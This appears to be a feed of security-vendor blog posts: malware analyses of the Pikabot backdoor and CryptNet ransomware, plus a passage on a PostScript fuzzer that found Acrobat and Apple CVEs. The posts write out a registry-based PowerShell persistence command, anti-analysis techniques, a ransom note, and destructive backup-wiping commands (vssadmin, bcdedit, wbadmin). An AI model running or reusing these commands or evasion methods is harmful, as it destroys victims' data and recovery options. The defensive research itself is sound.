https://www.zscaler.com/ Zscaler Blog — News and views from the leading voice in cloud security. en https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot Key Points Pikabot is a new malware trojan that emerged in early 2023 that consists of two components: a loader and a core module. The core module implements the malicious functionality that includes the ability to execute arbitrary commands and inject payloads that are provided by a command-and-control server. Pikabot utilizes a code injector to decrypt and inject the core module. The core module and its injector use a series of anti-analysis techniques. In addition, they use the public tool ADVobfuscator for string obfuscation. Pikabot shares similarities with the Qakbot trojan including the distribution methods, campaigns, and malware behaviors. Pikabot is a malicious backdoor that has been active since early 2023. The malware is modular with a loader and a core component that implements the majority of the functionality. Pikabot is capable of receiving commands from a command-and-control server such as the injection of arbitrary shellcode, DLLs or executable files. Zscaler Threatlabz has observed Pikabot being used to distribute Cobalt Strike. The Pikabot malware author has added a number of anti-analysis techniques to thwart automated analysis in sandbox and research environments. The code checks for the presence of debuggers, breakpoints, and system information including memory and the number of processors. Pikabot also uses the ADVobfuscator library to encrypt important strings used by the malware. Threatlabz has noticed some resemblances between Pikabot and Qakbot including the method of distribution, behavior, and internal campaign identifiers. However, there is not sufficient evidence at this time to definitively link these malware families to the same threat actor. Technical Analysis In the following sections, we focus on Pikabot’s core module and its injector since the downloader does not contain any functionality/features worth mentioning. Core Module Injector Pikabot uses an injector to run a series of anti-analysis tests and then decrypt and inject the core module payload. If any of these tests fail, Pikabot will terminate execution. ThreatLabz has identified the following anti-analysis methods implemented by the injector: Exception Handlers by using int 2d and int 3 instructions to raise them. Reading the BeingDebugged flag of the process environment block (PEB). Use of the Windows API function Beep to delay the execution. Attempt to load junk and incorrect libraries in order to detect sandboxes. This code appears to be copied from https://github.com/CheckPointSW/Evasions/blob/master/_techniques/processes.md. Use of the Windows API functions CheckRemoteDebuggerPresent and IsDebuggerPresent for debugger detection. The value of the NtGlobalFlag in the PEB that indicates a debugger is present. Use of the Windows API function NtQueryInformationProcess with the classes ProcessDebugPort and ProcessDebugFlags. Use of the GetWriteWatch API. The implementation seems to have been copied from here: https://github.com/BaumFX/cpp-anti-debug/blob/master/anti_debug.cpp#L260 Use of the OutputDebugString function in order to detect a debugger. The implementation has been copied from here: https://github.com/BaumFX/cpp-anti-debug/blob/master/anti_debug.cpp#L456 Check the number of processors, which should be greater than or equal to 2. Use of the rdtsc instruction to check for single stepping during debugging. The system random access memory (RAM) must be greater than 2GB. Detection of hardware breakpoints. Detection by checking the trap flag via __readeflags. ANALYST NOTE: It should be noted that the use of exceptions is used in many parts of the code, for example, during the decryption of the core payload. The injector decrypts the core module as follows: Loads a set of PNG images, which are stored in the resources section (RCDATA), and decrypts them using a bitwise XOR operation with a hardcoded 32-byte key. Note that each PNG image holds an encrypted chunk of the core module. Decrypt the XOR decrypted data using AES (CBC mode) with the same 32-byte key and use the first 16 bytes of the encrypted data as an initialization vector (IV). Once the core payload has been decrypted, the Pikabot injector creates a process with a specified file path (e.g. WerFault) and injects the core module into it. Finally, the Pikabot injector sets the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON flag in order to protect the injected process from non-signed Microsoft binaries. Core Module In the following sections, the core module is analyzed with samples compiled in May 2023. Anti-Analysis Similar to the injector, the Pikabot core module performs additional anti-analysis checks. One notable technique is a “sleep” function, which Pikabot uses to delay execution. Instead of using common Windows API functions, Pikabot uses the NtContinue API function in order to set a timer. The technique is not new and it is similar to other proof-of-concepts implementations. In addition to the tests above, Pikabot stops execution if the system's language is any of the following: Georgian (Georgia) Kazakh (Kazakhstan) Uzbek (Cyrillic) Tajik (Tajikistan) Russian (Russia) Ukrainian (Ukraine) Belarusian (Belarus) Slovenian (Slovenia) This check is common for many threat actors that originate from countries in the Commonwealth of Independent States (CIS) to reduce the chances of criminal prosecution. Persistence Pikabot uses two methods to add persistence on a host: Upon execution, Pikabot retrieves its current execution folder and checks if it is located in the AppData folder under a hardcoded folder name (might differ from sample to sample). If Pikabot is not run from this specific file path, then it will add persistence on the compromised host by creating a new value with its file path in the Run registry key (the key name is hardcoded in the binary). On top of that, Pikabot corrupts the current executable file by replacing it with its PE header (512 bytes length) followed by null bytes (3,584 bytes in length). Pikabot downloads a PowerShell script from the command-and-control server and stores it in HKEY_CURRENT_USER\Software\predefined_name, where predefined_name is a hardcoded string in the binary file. Additionally, it stores the encrypted command-and-control servers in the same registry path. Lastly, Pikabot sets a value in the Run registry key to execute a command line that invokes this PowerShell script (e.g., cmd /q /c start /min " powershell "$cimeter = Get-ItemProperty -Path HKCU:\Software\cimeter; powershell -encodedcommand $cimeter.unbevelledHamuli") ANALYST NOTE: Pikabot also has the option to directly execute a downloaded file instead of using this persistence mechanism (Even though this is not currently being used). Command-and-Control Configuration Pikabot does not store the command-and-control information in a single block (e.g. as Qakbot does). Instead, each component (e.g. URIs) is encrypted using ADVobfuscator and the command-and-control server IP addresses and ports are further decrypted during runtime using the following algorithm. Firstly, Pikabot decrypts a string that includes a set of Base64 encoded strings. Then it parses the string using the delimiter '&' and decrypts the contents by following the below steps: Read the first 32 bytes of the string and use them as an AES key. Decode the rest of the string using Base64. Read the first 16 bytes of the decoded string and use them as an IV. Read the rest of the decoded data and decrypt it using AES (CBC mode). The decrypted output is a Base64 string, which results in the command-and-control server IP address and corresponding port. Note that many of the Pikabot command-and-control servers listen on ports that are identical to the ports used by Qakbot’s proxy module such as 1194, 2078, and 2222. There have been some minor changes over the last few months in the way that Pikabot command-and-control servers have been stored. For example, in previous versions, the command-and-control servers were only encoded using Base64 and no further encryption or parsing was required. Pikabot also appears to contain a campaign ID and binary version in each sample. These can be observed during the network communication, where the JSON data has the keys "version" and "stream". The latter appears to be a campaign ID. An example request (before encryption) containing these values is shown below: {"uuid": "F37670100000074E33652510483", "stream": "BB1@T@2e88e610b66b4205853b211f21873208", "os_version": "Win 10.0 19050", "product_number": 161, "username": "test", "pc_name": "DESKTOP-TEST", "cpu_name": "11th Gen Intel(R) Core(TM)", "pc_uptime": 29884462, "gpu_name": "GPU_NAME", "ram_amount": 8096, "screen_resolution": "1560x1440", "version": "0.5.3", "domain_name": "", "domain_controller_name": "unknown", "domain_controller_address": "unknown", "knock_timeout": 254, "is_elevated": 0} The campaign ID values observed by Threatlabz are particularly interesting because of the prefixes BB1 and eu_bb_0. These resemble some of the campaign IDs that have been observed in Qakbot binaries, which frequently contain the prefix BB followed by an integer. Network communication Pikabot starts by registering the compromised host with the command-and-control servers. The registration process involves collecting system information and reporting it to the command-and-control server with an HTTPS POST request. A variety of data is collected such as the following: Network information by executing the command ipconfig.exe /all User/groups information by executing whoami.exe /all Windows build information. Generic host information (e.g. available RAM, screen resolution) Domain controllers information. Similar to other botnets, Pikabot generates a unique bot identifier for the compromised host. The algorithm, which Pikabot uses to generate the bot identifier can be replicated in Python using the code here. Once the registration procedure has been completed and persistence to the compromised host has been established, Pikabot starts requesting tasks from the server. Pikabot supports the following command types: task - a command to execute knock - a keep-alive message The tasks that Pikabot currently supports are described in Table 1. Task Name Description cmd Executes a shell command via cmd.exe. destroy Exits the current process. shellcode Injects and executes downloaded shellcode. dll Injects a downloaded DLL file. exe Injects a downloaded EXE file. additional Collects additional host information by executing one of the commands in Table 2. knock_timeout Updates the timer value, which indicates how often Pikabot should send a knock request. Table 1 - Pikabot tasks description Pikabot also supports the “additional” commands shown in Table 2, which are focused on collecting further system information. Command Description screenshoot Not implemented. whoami Executes the shell command whoami /all. ipconfig Executes the shell command ipconfig /all. processes Collects process information. Table 2 - Additional Pikabot commands description It is worth noting that depending on the network request, Pikabot uses a different URI (which may differ among samples). For example, for reporting a command output, the URI may be Duenna/ZuGAYDS3Y2BeS2vW7vm?AnacrusisCrotalinae=zH4Tfz. The network data encryption procedure is similar to the configuration's decryption process. Pikabot encrypts a network request by following the steps below: The request data is encoded using Base64. Pikabot generates a random 32-byte key and encodes the data again using Base64. Pikabot reads the first 16-bytes of a function prologue and uses these bytes as an IV. The data is encrypted using AES (CBC mode) and encoded with Base64. The 32-byte key is prepended to the encoded data. The hardcoded URI key (e.g. mMG50=) is prepended to the final output. Conclusion Overall, Pikabot is a new malware family that implements an extensive set of anti-analysis techniques and offers common backdoor capabilities to load shellcode and execute arbitrary second-stage binaries. Pikabot may have potential ties to Qakbot with some commonalities in the distribution, design, and campaign identifiers. However, ThreatLabz has not established a definitive link yet between the two malware families. Cloud Sandbox In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Pikabot at various levels with the following threat names: Win32.Trojan.PikaBot Indicators of Compromise Host Indicators SHA256 Hash Description 92153e88db63016334625514802d0d1019363989d7b3f6863947ce0e490c1006 Pikabot Injector/Core module a48c39cc45efea110a7c8edadcb6719f5d1ebbeebb570b345f47172d393c0821 Pikabot Injector/Core module 8ee9141074b48784c89aa5d3cd4010fcf4e6d467b618c8719970f78fcc24a365 Pikabot Injector/Core module a9db5aca01499f6ce404db22fb4ba3e4e0dc4b94a41c805c520bd39262df1ddc Pikabot Injector/Core module 347e2f0d8332dd2d9294d06544c051a302a2436da453b2ccfa2d7829e3a79944 Pikabot Injector/Core module Network Indicators IOC Description hxxps://129.153[.]135.83:2078 Command-and-Control server hxxps://132.148.79[.]222:2222 Command-and-Control server hxxps://45.154.24[.]57:2078 Command-and-Control server hxxps://45.85.235[.]39:2078 Command-and-Control server hxxps://94.199.173[.]6:2222 Command-and-Control server Wed, 24 May 2023 08:10:11 -0700 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot https://www.zscaler.com/blogs/security-research/technical-analysis-cryptnet-ransomware Key Points CryptNet is a new ransomware-as-a-service that has been advertised in underground forums since at least April 2023 The CryptNet threat group claims to perform double extortion attacks by combining data exfiltration with file encryption The ransomware code is written in the .NET programming language CryptNet uses 256-bit AES in CBC mode and 2048-bit RSA to encrypt files The CryptNet ransomware codebase is closely related to Chaos ransomware Zscaler ThreatLabz has been tracking a new ransomware group known as CryptNet that emerged in April 2023. The group claims to exfiltrate data prior to performing file encryption and hosts a data leak site hosted on a Tor hidden service that currently contains two victims. The group operating the ransomware is also actively recruiting affiliates on criminal forums to conduct breaches. The CryptNet ransomware code is written in .NET and obfuscated using .NET Reactor. After removing the obfuscation layer, CryptNet shares many resemblances to the Chaos ransomware families and the latest variant that is known as Yashma. The code similarities include the encryption methods, capabilities to disable backup services and delete shadow copies. CryptNet appears to have streamlined the Yashma code to improve the file encryption performance. In this blog, we will analyze the features of CryptNet and the close relationship with Yashma ransomware. Technical Analysis Obfuscation The CryptNet sample analyzed by ThreatLabz was obfuscated using Eziriz's .NET Reactor. The tool NetReactorSlayer is easily able to remove the control flow and symbols obfuscation layers, but the ransomware’s important strings remain obfuscated in a resource section, which is encrypted using a custom algorithm as shown in Figure 1. Figure 1. Example CryptNet string decryption algorithm ThreatLabz has reimplemented this custom encryption algorithm in Python here. After decryption, the strings are stored sequentially with each string preceded by a DWORD value (in little endian) representing its size (in red) as shown in Figure 2. Figure 2. Decrypted .NET Reactor strings data structure CryptNet then accesses each string by an offset into this structure. Decryption ID One of the first actions taken by the ransomware is to generate a decryption ID that will be added to the ransom note as shown in Figure 3. Figure 3. CryptNet decryption ID generation The decryption ID is composed of two hardcoded characters followed by 28 pseudorandom characters followed by two more hardcoded characters. Therefore, every encrypted system will have a unique decryption ID, although the victim can be determined by the hardcoded prefix and suffix characters. File Encryption After the victim ID is generated, the ransomware will start the main encryption routine as shown in Figure 4. Figure 4. Main CryptNet encryption routine CryptNet will first loop through all directories for each drive letter, excluding those shown in Table 1. windows.old windows.old.old amd nvidia program files program files (x86) windows $recycle.bin documents and settings intel perflogs programdata boot games msocach Table 1. Directories excluded by CryptNet from file encryption The following file names in Table 2 are also excluded from file encryption. iconcache.db autorun.inf thumbs.db boot.ini bootfont.bin ntuser.ini bootmgr bootmgr.efi bootmgfw.efi desktop.ini ntuser.dat Table 2. File names excluded by CryptNet from file encryption CryptNet will encrypt all files that match the following extensions in Table 3. .myd .ndf .qry .sdb .sdf .tmd .tgz .lzo .txt .jar .dat .contact .settings .doc .docx .xls .xlsx .ppt .pptx .odt .jpg .mka .mhtml .oqy .png .csv .py .sql .indd .cs .mp3 .mp4 .dwg .zip .rar .mov .rtf .bmp .mkv .avi .apk .lnk .dib .dic .dif .mdb .php .asp .aspx .html .htm .xml .psd .pdf .xla .cub .dae .divx .iso .7zip .pdb .ico .pas .db .wmv .swf .cer .bak .backup .accdb .bay .p7c .exif .vss .raw .m4a .wma .ace .arj .bz2 .cab .gzip .lzh .tar .jpeg .xz .mpeg .torrent .mpg .core .flv .sie .sum .ibank .wallet .css .js .rb .crt .xlsm .xlsb .7z .cpp .java .jpe .ini .blob .wps .docm .wav .3gp .gif .log .gz .config .vb .m1v .sln .pst .obj .xlam .djvu .inc .cvs .dbf .tbi .wpd .dot .dotx .webm .m4v .amv .m4p .svg .ods .bk .vdi .vmdk .onepkg .accde .jsp .json .xltx .vsdx .uxdc .udl .3ds .3fr .3g2 .accda .accdc .accdw .adp .ai .ai3 .ai4 .ai5 .ai6 .ai7 .ai8 .arw .ascx .asm .asmx .avs .bin .cfm .dbx .dcm .dcr .pict .rgbe .dwt .f4v .exr .kwm .max .mda .mde .mdf .mdw .mht .mpv .msg .myi .nef .odc .geo .swift .odm .odp .oft .orf .pfx .p12 .pl .pls .safe .tab .vbs .xlk .xlm .xlt .xltm .svgz .slk .tar.gz .dmg .ps .psb .tif .rss .key .vob .epsp .dc3 .iff .opt .onetoc2 .nrw .pptm .potx .potm .pot .xlw .xps .xsd .xsf .xsl .kmz .accdr .stm .accdt .ppam .pps .ppsm .1cd .p7b .wdb .sqlite .sqlite3 .db-shm .db-wal .dacpac .zipx .lzma .z .tar.xz .pam .r3d .ova .1c .dt .c .vmx .xhtml .ckp .db3 .dbc .dbs .dbt .dbv .frm .mwb .mrg .txz .mrg .vbox .wmf .wim .xtp2 .xsn .xslt Table 3. File extensions encrypted by CryptNet Depending on the file size, the ransomware will encrypt parts of the file or the full file content. If the file is less than 512KB in size, CryptNet will encrypt the full file. Otherwise, the code will encrypt just the first 128KB of data from the beginning, middle and end of the file as shown in Figure 5. Figure 5. CryptNet encryption algorithm for large files The symmetric encryption algorithm used in both cases is AES in CBC mode with a pseudo randomly generated 32-byte key and 16-byte initialization vector (IV) per file. Each file’s AES key will be encrypted with a hardcoded 2,048-bit RSA key. The ransomware stores the RSA key as an encrypted string in XML format with the RSA modulus and exponent base64 encoded as shown below: <RSAKeyValue><Modulus>8TO8tQQRyFqQ0VShtSpLkDqtDVsrxS8SfdOsqRAj8mWF7sVoGzyZMcv501DF6iZUdKYsFDlaSMnuckG9+MJmD2ldZwU/0H6Xztkta1BkJWSO2qHg2JAGDp9ZsFGP1wDR9oRb1w7wtBe7Db3wf7q848+qKPWiTP/2R/jlR4evW73M65Jdo9uOzQnbmvw+blsloXeszuYlW2nCcwQ7WarzAK29UmM9ZHS0/lqzU0KHNU+DvyfGwmMJgtb2HN6GFGXq9Z0n3dNBCQVzdUl2G/7fLAMoFbJeExn5USZdFHr2ygheTilo/shmfq7tcPCZM8C4zqBtb0Nbct0f/M48+H920Q==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue> The RSA encrypted AES key is then prepended to the encrypted file content. Ransom note and finishing actions During the encryption process, CryptNet will drop a ransom note with the name RESTORE-FILES-[9 random chars].txt containing the following text: *** CRYPTNET RANSOMWARE *** --- What happened? --- All of your files are encrypted and stolen. Stolen data will be published soon on our tor website. There is no way to recover your data and prevent data leakage without us Decryption is not possible without private key. Don't waste your and our time to recover your files. It is impossible without our help --- How to recover files & prevent leakage? --- To make sure that we REALLY CAN recover your data - we offer FREE DECRYPTION for warranty. We promise that you can recover all your files safely and prevent data leakage. We can do it! --- Contact Us--- Download Tor Browser - https://www.torproject.org/download/ and install it Open website: http://cryptr3fmuv4di5uiczofjuypopr63x2gltlsvhur2ump4ebru2xd3yd.onion Enter DECRYPTION ID: [DECRYPTION ID] CryptNet will then proceed to change the wallpaper and kill the following processes in Table 4. sqlwriter sqbcoreservice VirtualBoxVM sqlagent sqlbrowser sqlservr code steam zoolz agntsvc firefoxconfig infopath synctime VBoxSVC tbirdconfig thebat thebat64 isqlplussvc mydesktopservice mysqld ocssd onenote mspub mydesktopqos CNTAoSMgr Ntrtscan vmplayer oracle outlook powerpnt wps xfssvccon ProcessHacker dbeng50 dbsnmp encsvc excel tmlisten PccNTMon mysqld-nt mysqld-opt ocautoupds ocomm msaccess msftesql thunderbird visio winword wordpad mbamtray Table 4. Processes terminated by CryptNet Additionally, if the ransomware is run with administrator privileges, CryptNet will stop the list of services shown in Table 5. BackupExecAgentBrowser veeam VeeamDeploymentSvc PDVFSService BackupExecVSSProvider4 BackupExecAgentAccelerator svc AcrSch2Svc AcronisAgent Veeam.EndPoint.Service CASAD2DWebSvc CAARCUpdateSvc YooIT memtas sophos DefWatch ccEvtMgr SavRoam RTVscan QBFCService Intuit.QuickBooks.FCS YooBackup BackupExecRPCService MSSQLSERVER backup GxVss GxBlr GxFWD GxCVD GxCIMgr VeeamNFSSvc8 BackupExecDiveciMediaService SQLBrowser SQLAgent$VEEAMSQL2008R2 SQLAgent$VEEAMSQL2012 VeeamDeploymentService BackupExecJobEngine Veeam.EndPoint.Tray6 BackupExecManagementService SQLAgent$SQL_2008 zhudongfangyu stc_raw_agent QBCFMonitorService VeeamTransportSvc VSNAPVSS$ Table 5. Services stopped by CryptNet CryptNet will also remove Windows shadow copies and then delete the backup catalog if the ransomware has administrator privileges. To perform those actions, the following commands are executed: vssadmin delete shadows /all /quiet & wmic shadowcopy delete bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no wbadmin delete catalog -quiet Victim Portal and Data Leak Site When a victim accesses the Tor hidden service in the ransom note, a login screen prompts the user to enter a decryption ID and solve a captcha as shown in Figure 6. Figure 6. CryptNet victim ransom portal After the decryption ID is entered, the victim is presented with a timer and an option to test file decryption as shown in Figure 7. Figure 7. CryptNet ransom portal with test decryption The portal also provides a chat feature to interact with the threat group and negotiate a ransom payment as shown in Figure 8. Figure 8. CryptNet live chat support There is an automated message in the chat that provides a link to a “blog” site, where the CryptNet threat group publishes stolen data belonging to companies that have been breached as shown in Figure 9. Figure 9. CryptNet data leak site The Chaos/Yashma link Similarities CryptNet is clearly using the same codebase as the Chaos and Yashma ransomware families with numerous similarities in the code. For example, Figure 10 shows a comparison between the main encryption routines of CryptNet and Yashma with the same structure, checks and control flow. Figure 10. Comparison of the Yashma (left) and CryptNet (right) main encryption routines The excluded folders and files are also very similar along with the file extensions that are targeted for encryption (provided in the Appendix). Both ransomware families also stop an extensive list of backup services and execute identical commands to delete shadow copies, disable recovery mode and delete the backup catalog as shown in Figure 11. Figure 11. Yashma (left) vs CryptNet (right) commands to disable backups Differencies When compared with Yashma, CryptNet lacks some features including a lack of persistence and language/country restrictions. In addition, CryptNet uses different techniques to encrypt files (based on size) and a different method for concurrency. These differences are likely performance-oriented to speed up the amount of time required to encrypt files. Yashma encrypts the full content of all files (which can take significant time for larger files), while CryptNet will only fully encrypt small files (< 512KB) and small parts of larger files. The concurrency implementation also differs between CryptNet and Yashma. The former uses a Parallel.For loop to iterate through each file, while CryptNet uses Tasks to process each directory as shown in Figure 12. Figure 12. Yashma (left) vs CryptNet (right) concurrency implementations The Tasks concurrency implementation is likely more suitable for file encryption operations. Conclusion CryptNet is a simple but effective ransomware that has taken the popular Chaos and Yashma codebase and increased the file encryption efficiency. The code is not particularly advanced, but the algorithms and implementation are cryptographically secure. They also claim to perform double extortion attacks, following an increasing trend that has been set by more advanced threat groups. Zscaler ThreatLabz continues to track this threat group and add detections to protect our customers. Cloud Sandbox In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to CryptNet at various levels with the following threat names: Win32.Ransom.CryptNet Indicators of Compromise (IOCs) SHA256 Description 2e37320ed43e99835caa1b851e963ebbf153f16cbe395f259bd2200d14c7b775 CryptNet ransomware Appendix Yashma excluded folders Program Files Program Files (x86) Windows $Recycle.Bin MSOCache Documents and Settings Intel PerfLogs Windows.old AMD NVIDIA ProgramData Yashma excluded files appdata\\local appdata\\locallow users\\all users \\ProgramData boot.ini bootfont.bin boot.ini iconcache.db ntuser.dat ntuser.dat.log ntuser.ini thumbs.db autorun.inf bootsect.bak bootmgfw.efi desktop.ini Yashma extensions to encrypt .txt .jar .dat .contact .settings .doc .docx .xls .xlsx .ppt .pptx .odt .jpg .mka .mhtml .oqy .png .csv .py .sql .mdb .php .asp .aspx .html .htm .xml .psd .pdf .xla .cub .dae .indd .cs .mp3 .mp4 .dwg .zip .rar .mov .rtf .bmp .mkv .avi .apk .lnk .dib .dic .dif .divx .iso .7zip .ace .arj .bz2 .cab .gzip .lzh .tar .jpeg .xz .mpeg .torrent .mpg .core .pdb .ico .pas .db .wmv .swf .cer .bak .backup .accdb .bay .p7c .exif .vss .raw .m4a .wma .flv .sie .sum .ibank .wallet .css .js .rb .crt .xlsm .xlsb .7z .cpp .java .jpe .ini .blob .wps .docm .wav .3gp .webm .m4v .amv .m4p .svg .ods .bk .vdi .vmdk .onepkg .accde .jsp .json .gif .log .gz .config .vb .m1v .sln .pst .obj .xlam .djvu .inc .cvs .dbf .tbi .wpd .dot .dotx .xltx .pptm .potx .potm .pot .xlw .xps .xsd .xsf .xsl .kmz .accdr .stm .accdt .ppam .pps .ppsm .1cd .3ds .3fr .3g2 .accda .accdc .accdw .adp .ai .ai3 .ai4 .ai5 .ai6 .ai7 .ai8 .arw .ascx .asm .asmx .avs .bin .cfm .dbx .dcm .dcr .pict .rgbe .dwt .f4v .exr .kwm .max .mda .mde .mdf .mdw .mht .mpv .msg .myi .nef .odc .geo .swift .odm .odp .oft .orf .pfx .p12 .pl .pls .safe .tab .vbs .xlk .xlm .xlt .xltm .svgz .slk .tar.gz .dmg .ps .psb .tif .rss .key .vob .epsp .dc3 .iff .onepkg .onetoc2 .opt .p7b .pam .r3d .anom .exe Tue, 16 May 2023 01:10:03 -0700 Santiago Vicente https://www.zscaler.com/blogs/security-research/technical-analysis-cryptnet-ransomware https://www.zscaler.com/blogs/security-research/smash-postscript-interpreters-using-syntax-aware-fuzzer In 2022, Zscaler’s ThreatLabz performed vulnerability hunting for some of the most popular PostScript interpreters using a custom-built syntax-aware fuzzer. The PostScript interpreters that were evaluated include Adobe Acrobat Distiller and Apple’s PSNormalizer. At the time of publication, ThreatLabz has discovered three vulnerabilities (CVE-2022-35665, CVE-2022-35666, CVE-2022-35668) in Adobe Acrobat Distiller and one vulnerability (CVE-2022-32843) in Apple’s PSNormalizer. This blog presents how the syntax-aware fuzzer was developed and analyzes the results. PostScript Language PostScript is a stack-based programming language, where values are pushed onto a stack and popped off by subsequent operations. It is a high-level language with a rich set of built-in operators for executing a wide range of tasks, including manipulating text, drawing shapes, and transforming graphics. A PostScript interpreter executes a PostScript language according to the rules that determine the order in which operations are carried out and how the pieces of a PostScript program fit together to produce results. The interpreter manipulates entities that are called PostScript objects. Some objects are data, such as numbers, boolean values, strings, and arrays. Other objects are elements of programs to be executed, such as names, operators, and procedures. However, there is no distinction between data and programs. Any PostScript object can be treated as data or executed as part of a program. A character stream can be scanned according to the syntax rules of the PostScript language, producing a sequence of new objects. The interpreter operates by executing a sequence of objects. The PostScript interpreter can manage five stacks representing the execution state of a PostScript program: the operand stack, dictionary stack, execution stack, graphics state stack, and clipping path stack. The former three stacks are relevant for this blog and described below: The operand stack is used to hold arbitrary PostScript objects that are the operands and results of PostScript operators being executed. The interpreter pushes objects on the operand stack when it encounters them as literal data in a program being executed. The dictionary stack is used to hold the dictionary objects that define the current context for PostScript operations. The execution stack is used to hold the executable objects which are mainly procedures and files. At any point in the execution of a PostScript program, this stack represents the program’s call stack. There are more than 300 operators supported in the PostScript language. Each operator description is presented in the following format illustrated in Figure 1. Figure 1. A detailed description of the operator in the PostScript program Syntax-Aware Fuzzer We developed a syntax-aware fuzzer to find vulnerabilities in two popular PostScript interpreters: Acrobat Distiller and PSNormalizer. In order to implement a syntax-aware fuzzer, we first needed to write well-functioning grammar rules to parse all kinds of character streams for the PostScript language. We wrote a grammar file for the PostScript language in ANTLR (ANother Tool for Language Recognition). Second, we needed to implement a PostScript generator based on the grammar rules. We constructed the parse tree by walking through parser rules in the grammar file randomly, using the Python treelib package. After completing the construction of the parse tree, we traversed all terminal nodes in the parse tree and generated a new PostScript character stream to derive a new test case. Grammar Development With ANTLR A grammar file in ANTLR is made up of the parser rules and the lexer rules. The lexers are also known as tokenizers, which are the first step in creating a parser. A lexer takes the individual characters and transforms them into tokens. The parser then uses the tokens to create a logical structure and generate a parse tree. Figure 2 shows a code snippet of the grammar file for the PostScript language in ANTLRv4. Figure 2. Code snippet of the grammar file for PostScript language in ANTLR Let’s take a look at an example in Figure 3 and imagine that we are trying to parse a mathematical operation. Figure 3. The workflow of constructing the parse tree in ANTLR In this blog, we won’t go into the internals of ANTLR or how to write a grammar rule in ANTLR. An excellent ANTLR tutorial can be found here. As shown in Figure 2, the starting rule of the PostScript parser rules is ps. We can test the following PostScript program with the grammar file in ANTLR. { [1 2 1 3] << /r 1 /s 2>> 4 256 {-32 -250 1048 750} [0.001 0 0 0.001 0 0] << 0 << /PageSize [612 1008] >> 1 << /PageSize [612 792] >> >> (aaaa) setcolorspace } stopped pop The following GUI demonstrates that ANTLR can parse the code snippet of a PostScript program into a parse tree based on the defined grammar file. We can get the sequence of the tokens (the input PostScript program) via a depth-first search algorithm as shown in Figure 4. Figure 4. The sequence of the tokens (the input PostScript program) via a depth-first search algorithm The ANTLR parser recognizes the elements presented in the source code and builds a parse tree. We generated a large number of test cases with the grammar rule for the Postscript language in ANTLR, which was able to parse almost all of the Postscript programs. ANTLR is capable of recognizing the characters present in the source code and constructing it as a parse tree. However, it is not able to generate the PostScript code randomly based on the grammar. In order to develop a syntax-aware fuzzer, the first step is to write a well-functioning grammar file for the PostScript program, the second step is to construct the parse tree by walking through the parser rules in the grammar file randomly and finally generate the PostScript code by traversing all terminal nodes in the parse tree. The grammar file for the PostScript program in ANTLR enabled us to complete the first step. Therefore, we had to implement a PostScript generator based on the grammar rules. Parse Tree Construction In order to construct the parse tree by walking through the different parser rules randomly in the grammar file, we leveraged the Python treelib package, which provides an efficient implementation of a tree data structure. The main features of treelib include: support for common tree operations like traversing, insertion, deletion, node moving, shallow/deep copying, subtree cutting, etc. support for a user-defined data payload to accelerate model construction. efficient operation for searching nodes. We considered the following pattern to start the construction of the parse tree. { <fuzz> } stopped pop Similar to a programming language like Javascript, it is possible to implement a try/catch block in Postscript. The operator stopped in PostScript provides an effective way for a PostScript program to “catch” errors or other premature terminations, and potentially perform its own error recovery. In PostScript, curly braces { and } enclose a procedure (an executable array or executable packed array object). The interpreter does not execute a procedure immediately, but treats it as data; it pushes the procedure on the operand stack. Only when the procedure is explicitly invoked will it be executed. A PostScript program may terminate prematurely by executing the stop operator. The stopped operator establishes an execution environment that encapsulates the effect of a stop. That is, stopped executes a procedure given as an operand and places a boolean value on the stack. This value can be popped in order to preserve the operand stack before and after the handling procedure. If the interpreter executes stop during that procedure, it terminates the procedure and resumes execution at the object immediately after the stopped operator. Figure 5 shows the parser rule for a procedure in ANTLR. Figure 5. The parser rule for procedure in ANTLR We start constructing the parse tree from the procedure parser rule. Figure 6 shows the code snippet to construct the parse tree randomly starting from the procedure parser rule. Figure 6. Code snippet of constructing the parse tree randomly Once we finish the construction of the parse tree, we can traverse the parse tree to obtain the character stream of all terminal nodes and then generate a new test case as shown in Figure 7. Figure 7. Code to traverse the parse tree and obtain the character stream of all terminal nodes Figure 8 shows a newly generated PostScript test case from our syntax-aware fuzzer. Figure 8. A newly generated PostScript test case Fuzzing Results We discovered three vulnerabilities that are identified as CVE-2022-35665, CVE-2022-35666, and CVE-2022-35668 in Adobe Acrobat Distiller and one vulnerability that is identified as CVE-2022-32843 in Apple’s PSNormalizer via our syntax-aware PostScript fuzzer. Respectively, these vulnerabilities were addressed in https://helpx.adobe.com/security/products/acrobat/apsb22-39.html and https://support.apple.com/en-us/HT213345. The affected software applications for CVE-2022-35665, CVE-2022-35666, CVE-2022-35668 are the following: Acrobat DC Continuous 22.001.20169 and earlier versions in Windows & macOS Acrobat 2020 Classic 2020  20.005.30362 and earlier versions in Windows & macOS Acrobat 2017 Classic 2017 17.012.30249 and earlier versions  in Windows & macOS The affected software applications for CVE-2022-32843 are the following: macOS Monterey 12.4 and earlier versions macOS Big Sur 11.6.7 and earlier versions Security Update 2022-004 Catalina and earlier versions CVE-2022-35665: Adobe Acrobat Distiller PostScript File Use-After-Free Vulnerability A specially crafted PostScript file can trigger a Use-After-Free vulnerability that could result in arbitrary code execution in the context of the current user. Figure 9 shows the PoC for CVE-2022-35665. Figure 8. The PoC for CVE-2022-35665 Figure 9 shows the crash information in WinDBG. Figure 9. The crash information in WinDBG for CVE-2022-35665 CVE-2022-35666: Adobe Acrobat Distiller PostScript File Arbitrary Code Execution Vulnerability A specially crafted PostScript file can trigger an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Figure 10 shows the PoC for CVE-2022-35666. Figure 10. The PoC for CVE-2022-35666 This vulnerability can be reproduced reliably in Adobe Acrobat Pro DC on macOS. This should work on the "standard" conversion in the Acrobat Distiller. Figure 11 shows the Console app with the full crash report for CVE-2022-35666. Figure 11. The full crash report for CVE-2022-35666 in the Adobe Acrobat Distiller Next, let’s take a closer look at where the crash occurs in the debugger LLDB as shown in Figure 12. Figure 12. The location where the crash for CVE-2022-35666 occurs in the debugger LLDB CVE-2022-35668: Adobe Acrobat Distiller PostScript File Improper Input Validation Information Disclosure Vulnerability A specially crafted PostScript file can trigger an Improper Input Validation vulnerability that could lead to the disclosure of sensitive memory. An attacker could leverage this 